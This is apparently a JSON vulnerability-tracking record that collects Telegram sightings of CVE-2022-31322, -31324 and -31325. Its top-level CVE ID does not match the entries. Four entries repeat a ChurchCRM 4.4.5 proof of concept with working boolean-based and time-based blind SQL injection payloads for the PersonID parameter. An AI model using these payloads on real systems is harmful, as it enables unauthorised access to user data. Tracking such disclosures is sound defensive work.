{"vulnerability": "CVE-2022-3132", "sightings": [{"uuid": "3519d59f-f631-4f68-b63b-ab7ad182865a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31322", "type": "seen", "source": "https://t.me/cibsecurity/49741", "content": "\u203c CVE-2022-31322 \u203c\n\nPenta Security Systems Inc WAPPLES v6.0 r3 4.10-hotfix1 allows attackers to escalate privileges via overwriting files using SUID flagged executables.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-14T02:25:45.000000Z"}, {"uuid": "805f0d74-94e6-4c5d-b1e2-cfe31369fcea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31324", "type": "seen", "source": "https://t.me/cibsecurity/49748", "content": "\u203c CVE-2022-31324 \u203c\n\nAn arbitrary file download vulnerability in the downloadAction() function of Penta Security Systems Inc WAPPLES v6.0 r3 4.10-hotfix1 allows attackers to download arbitrary files via a crafted POST request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-14T02:25:55.000000Z"}, {"uuid": "89e902b5-50f0-4f96-9c8e-fc41a9950cad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31325", "type": "seen", "source": "https://t.me/cibsecurity/44044", "content": "\u203c CVE-2022-31325 \u203c\n\nThere is a SQL Injection vulnerability in ChurchCRM 4.4.5 via the 'PersonID' field in /churchcrm/WhyCameEditor.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-08T20:32:23.000000Z"}, {"uuid": "acb3647a-8130-4a9d-a192-1644b817e65b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31325", "type": "seen", "source": "https://t.me/hacking_Attack/58000", "content": "Exploit Collector\nChurchCRM 4.4.5 SQL Injection\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png \nChurchCRM version 4.4.5 suffers from a remote SQL injection vulnerability.\n\nSHA-256 | c6734b9cfce832dff774c0d27700820ddbb3e687bf6c1a7e71caa63a84f2a804\n\nDownload\n## Title: ChurchCRM 4.4.5 SQLi session hijacking L2\n## Author: nu11secur1ty\n## Date: 05.11.2022\n## Vendor: https://churchcrm.io/\n## Software: https://github.com/ChurchCRM/CRM\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325\n## Description:\nThere is a SQL Injection PWN cookie hijacking session vulnerability - broken authentication sanitary logic, in ChurchCRM 4.4.5 via the 'PersonID' parameter in the WhyCameEditor.php app. \nThe authenticated user can get all information for all users on this system when he hit an active session and use this active session in L2 network or even an external network - domain.\n\nStatus: Highly Vulnerable\n\n[+] Payloads:\n\n```mysql\n---\nParameter: PersonID (GET)\nType: boolean-based blind\nTitle: Boolean-based blind - Parameter replace (original value)\nPayload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE (SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: PersonID=1 AND (SELECT 7116 FROM (SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325)\n\n## Proof and Exploit:\n[href](https://streamable.com/ust7qt)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:35.682465Z"}, {"uuid": "1289b5b3-cee7-45d1-bb31-95f022096a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31325", "type": "seen", "source": "https://t.me/hacking_Attack/58000", "content": "Exploit Collector\nChurchCRM 4.4.5 SQL Injection\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png \nChurchCRM version 4.4.5 suffers from a remote SQL injection vulnerability.\n\nSHA-256 | c6734b9cfce832dff774c0d27700820ddbb3e687bf6c1a7e71caa63a84f2a804\n\nDownload\n## Title: ChurchCRM 4.4.5 SQLi session hijacking L2\n## Author: nu11secur1ty\n## Date: 05.11.2022\n## Vendor: https://churchcrm.io/\n## Software: https://github.com/ChurchCRM/CRM\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325\n## Description:\nThere is a SQL Injection PWN cookie hijacking session vulnerability - broken authentication sanitary logic, in ChurchCRM 4.4.5 via the 'PersonID' parameter in the WhyCameEditor.php app. \nThe authenticated user can get all information for all users on this system when he hit an active session and use this active session in L2 network or even an external network - domain.\n\nStatus: Highly Vulnerable\n\n[+] Payloads:\n\n```mysql\n---\nParameter: PersonID (GET)\nType: boolean-based blind\nTitle: Boolean-based blind - Parameter replace (original value)\nPayload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE (SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: PersonID=1 AND (SELECT 7116 FROM (SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325)\n\n## Proof and Exploit:\n[href](https://streamable.com/ust7qt)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:45.481402Z"}, {"uuid": "4138c64f-5d66-4232-835d-f419fe14a78a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31325", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/58000", "content": "Exploit Collector\nChurchCRM 4.4.5 SQL Injection\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png \nChurchCRM version 4.4.5 suffers from a remote SQL injection vulnerability.\n\nSHA-256 | c6734b9cfce832dff774c0d27700820ddbb3e687bf6c1a7e71caa63a84f2a804\n\nDownload\n## Title: ChurchCRM 4.4.5 SQLi session hijacking L2\n## Author: nu11secur1ty\n## Date: 05.11.2022\n## Vendor: https://churchcrm.io/\n## Software: https://github.com/ChurchCRM/CRM\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325\n## Description:\nThere is a SQL Injection PWN cookie hijacking session vulnerability - broken authentication sanitary logic, in ChurchCRM 4.4.5 via the 'PersonID' parameter in the WhyCameEditor.php app. \nThe authenticated user can get all information for all users on this system when he hit an active session and use this active session in L2 network or even an external network - domain.\n\nStatus: Highly Vulnerable\n\n[+] Payloads:\n\n```mysql\n---\nParameter: PersonID (GET)\nType: boolean-based blind\nTitle: Boolean-based blind - Parameter replace (original value)\nPayload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE (SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: PersonID=1 AND (SELECT 7116 FROM (SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325)\n\n## Proof and Exploit:\n[href](https://streamable.com/ust7qt)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T16:00:04.426106Z"}, {"uuid": "c49d4bbc-4b5c-4f44-ad87-029e3dcb45c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31325", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/58000", "content": "Exploit Collector\nChurchCRM 4.4.5 SQL Injection\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png \nChurchCRM version 4.4.5 suffers from a remote SQL injection vulnerability.\n\nSHA-256 | c6734b9cfce832dff774c0d27700820ddbb3e687bf6c1a7e71caa63a84f2a804\n\nDownload\n## Title: ChurchCRM 4.4.5 SQLi session hijacking L2\n## Author: nu11secur1ty\n## Date: 05.11.2022\n## Vendor: https://churchcrm.io/\n## Software: https://github.com/ChurchCRM/CRM\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325\n## Description:\nThere is a SQL Injection PWN cookie hijacking session vulnerability - broken authentication sanitary logic, in ChurchCRM 4.4.5 via the 'PersonID' parameter in the WhyCameEditor.php app. \nThe authenticated user can get all information for all users on this system when he hit an active session and use this active session in L2 network or even an external network - domain.\n\nStatus: Highly Vulnerable\n\n[+] Payloads:\n\n```mysql\n---\nParameter: PersonID (GET)\nType: boolean-based blind\nTitle: Boolean-based blind - Parameter replace (original value)\nPayload: PersonID=(SELECT (CASE WHEN (6445=6445) THEN 1 ELSE (SELECT 2844 UNION SELECT 1058) END))&WhyCameID=1&linkBack=\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: PersonID=1 AND (SELECT 7116 FROM (SELECT(SLEEP(5)))xUOx)&WhyCameID=1&linkBack=\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-31325)\n\n## Proof and Exploit:\n[href](https://streamable.com/ust7qt)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:42.720862Z"}]}